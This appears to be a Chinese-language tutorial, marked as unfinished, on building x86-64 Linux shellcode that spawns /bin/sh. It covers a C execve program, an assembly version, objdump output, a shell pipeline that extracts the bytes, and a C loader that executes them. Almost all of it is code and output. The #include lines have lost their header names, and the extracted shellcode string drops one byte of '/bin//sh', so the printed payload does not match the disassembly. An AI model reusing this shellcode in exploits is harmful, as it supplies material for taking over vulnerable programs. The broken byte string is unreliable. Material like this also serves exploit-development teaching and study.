未完待续

1.使用C语言编写一个获得系统Shell的小程序。

#include 
    
     int main(){    char * shell[2];    shell[0]="/bin/sh";    shell[1]=NULL;    execve(shell[0],shell,NULL);}
    

编译并运行后，能够回弹Shell

[root@localhost ~]# gcc -c lyshark.c [root@localhost ~]# gcc -o shell lyshark.o[root@localhost ~]# ./shell sh-4.2# ls

64位系统堆栈结构已经变得和32位大不相同了

[root@localhost ~]# vim shell.Ssection .text  global _start    _start:      push rax      xor rdx, rdx      xor rsi, rsi      mov rbx,'/bin//sh'      push rbx      push rsp      pop rdi      mov al, 59      syscall

编译并运行

[root@localhost ~]# nasm -f elf64 shell.S -o shell.o[root@localhost ~]# ld shell.o -o shell[root@localhost ~]# ./shell [root@localhost root]# ls

查询生成的机器码

[root@localhost ~]# objdump -d shellshell:     file format elf64-x86-64Disassembly of section .text:0000000000400080 <_start>:  400080:   50                      push   %rax  400081:   48 31 d2                xor    %rdx,%rdx  400084:   48 31 f6                xor    %rsi,%rsi  400087:   48 bb 2f 62 69 6e 2f    movabs $0x68732f2f6e69622f,%rbx  40008e:   2f 73 68   400091:   53                      push   %rbx  400092:   54                      push   %rsp  400093:   5f                      pop    %rdi  400094:   b0 3b                   mov    $0x3b,%al  400096:   0f 05                   syscall

一条命令提起机器码

[root@localhost ~]# objdump -d shell | grep "[0-9a-f]" | grep -v "file" | cut -f2 -d: | cut -f1-6 -d' '| tr -s ' '| tr '\t' ' '| sed 's/ $//g'| sed 's/ /\\x/g' | paste -d '' -s | sed 's/^/"/' | sed 's/$/"/g'"\x50\x48\x31\xd2\x48\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x73\x68\x53\x54\x5f\xb0\x3b\x0f\x05"

加载这段代码。

#include 
    
     unsigned char shellcode[] = \"\x50\x48\x31\xd2\x48\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x73\x68\x53\x54\x5f\xb0\x3b\x0f\x05";int main(){    int (*ret)() = (int(*)())shellcode;    ret();}